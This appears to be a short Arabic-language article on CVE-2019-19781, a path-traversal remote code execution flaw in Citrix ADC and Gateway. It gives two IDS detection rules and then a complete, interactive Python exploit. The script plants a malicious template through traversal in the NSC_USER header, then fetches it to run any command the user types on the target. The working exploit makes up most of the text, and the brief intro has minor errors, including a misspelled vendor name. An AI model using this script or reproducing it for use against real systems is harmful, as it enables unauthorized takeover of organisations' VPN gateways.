
RCE، Citirx ADC واجتياز الدليل في Gateway
هذه المقالة تتعلق بثغرة CVE-2019-19781، وهي ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر اجتياز الدليل (Directory Traversal) في Citrix ADC وGateway. تحدث هذه الثغرة بسبب عدم التحقق بشكل صحيح من ملف smb.conf في المسار ../vpns تحت /vpn. تتيح سرقة معلومات تكوين النظام أو معلومات الخادم.
alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-WEBAPP Citrix ADC and Gateway arbitrary code execution attempt"; flow:to_server,established; content:"/vpns/"; fast_pattern:only; content:"/vpns/"; http_raw_uri; content:"/../"; http_raw_uri; reference:cve,2019-19781; reference:url,support.citrix.com/article/CTX267027;)
alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-WEBAPP Citrix ADC and Gateway arbitrary code execution attempt"; flow:to_server,established; content:"/vpns/"; fast_pattern:only; content:"/vpns/"; http_raw_uri; content:"%2E%2E"; http_raw_uri; reference:cve,2019-19781; reference:url,support.citrix.com/article/CTX267027;)
#!/usr/bin/env python
import requests
import string
import random
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
print("Found by Mikhail Klyuchnikov")
print("")
if len(sys.argv) < 2:
print("[-] No URL provided")
sys.exit(0)
while True:
try:
command = input("command > ")
random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
print("[+] Adding bookmark", random_xml + ".xml")
burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
random_xml, "NSC_NONCE": "c", "Connection": "close"}
burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)
if r.status_code == 200:
print("[+] Bookmark added")
else:
print("\n[-] Target not vulnerable or something went wrong")
sys.exit(0)
burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
random_xml, "NSC_NONCE": "c", "Connection": "close"}
r = requests.get(burp0_url, headers=burp0_headers,verify=False)
replaced = re.sub('^&#.* $', '', r.text, flags=re.MULTILINE)
print("[+] Result of the command: \n")
print(replaced)
except KeyboardInterrupt:
print("Exiting...")
break